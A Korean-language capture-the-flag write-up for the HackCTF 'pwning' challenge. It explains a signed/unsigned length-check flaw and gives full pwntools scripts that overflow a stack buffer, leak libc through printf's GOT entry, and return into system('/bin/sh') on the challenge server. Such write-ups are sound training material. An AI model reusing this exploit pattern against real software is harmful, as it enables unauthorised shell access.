본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) pwning 풀이

by snwo 2020. 6. 24.

void vuln(void)

{
  char local_30 [32];
  int local_10;
  
  printf("How many bytes do you want me to read? ");
  get_n(local_30,4);
  local_10 = atoi(local_30);
  if (local_10 < 0x21) {
    printf("Ok, sounds good. Give me %u bytes of data!\n",local_10);
    get_n(local_30,local_10);
    printf("You said: %s\n",local_30);
  }
  else {
    printf("No! That size (%d) is too large!\n",local_10);
  }
  return;
}

vuln, 취약점이 발생한다는 뜻으로 쓰인다.

 

여기서는 get_n 으로 얼마나 입력받을것인지 숫자를 입력받고,

0x21만큼 작으면 입력한 숫자만큼 입력을 받는다.

 

조건에 맞을때 출력되는 printf 문을 보면, 입력한 숫자를 

%u (unsigned int) 로 출력해준다.

 

그말은, -1 을 입력했을때, 최상위 비트를 부호비트로 사용하지않고,

그냥 숫자를 표현하는 비트를 사용함으로써 -1 이 아닌 최대값이 출력된다.

 


출력만 저렇게 되는거 아닌가 ? 생각하실수도 있습니다.

 

void get_n(int param_1,uint param_2)

{
  char cVar1;
  int iVar2;
  uint local_10;
  
  local_10 = 0;
  while( true ) {
    iVar2 = getchar();
    cVar1 = (char)iVar2;
    if (((cVar1 == '\0') || (cVar1 == '\n')) || (param_2 <= local_10)) break;
    *(char *)(param_1 + local_10) = cVar1;
    local_10 = local_10 + 1;
  }
  *(undefined *)(local_10 + param_1) = 0;
  return;
}

실제 get_n 함수를 보면, int 가 아닌 uint 로 인자를 받기때문에

출력된 숫자만큼 입력을 받게됩니다.


주어진 바이너리파일에는 쓸만한 함수가 없기에

printf_got 를 leak 해서 libc database 에서 검색해봅시다.

 

(정확성을 높이기 위해 atoi 함수도 같이 leak)

#r=process("./pwning")
r=remote("ctf.j0n9hyun.xyz",3019)
context.log_level="debug"
b=ELF("./pwning")

pay=""
pay+='x'*0x2c
pay+='x'*4
pay+=p32(b.plt['printf'])
pay+=p32(b.symbols['vuln'])
pay+=p32(b.got['printf']) #print atoi 

r.sendline('-1')
r.recvuntil('!\n')
r.sendline(pay)
r.recvuntil('\n')

printf=u32(r.recv(4))
log.info(hex(printf))

leak code is here! 

now we can find offset of the system and '/bin/sh' string

 

there is

libc6-i386_2.23-0ubuntu10_amd64 and

libc6-i386_2.23-0ubuntu11_amd64

 

but don't worry, they have the same offset

 

 ( Sometimes, there is the bug can't type Korean. S0rry )


so, first, leak printf_got and get the address of libc-base

 

second, add it to system and '/bin/sh' string offset

Last, return again to vuln() function

and then system() function


from pwn import *

#r=process("./pwning")
r=remote("ctf.j0n9hyun.xyz",3019)
context.log_level="debug"
b=ELF("./pwning")

pay=""
pay+='x'*0x2c
pay+='x'*4
pay+=p32(b.plt['printf'])
pay+=p32(b.symbols['vuln'])
pay+=p32(b.got['printf']) #print atoi 

r.sendline('-1')
r.recvuntil('!\n')
r.sendline(pay)
r.recvuntil('\n')

base=u32(r.recv(4))-0x49020
log.info(hex(base))
system=0x3a940+base
binsh=0x15902b+base

pay2=""
pay2+='x'*0x2c
pay2+='x'*4
pay2+=p32(system)
pay2+=p32(0x11111111)
pay2+=p32(binsh)

r.sendline('-1')
r.sendline(pay2)
r.interactive()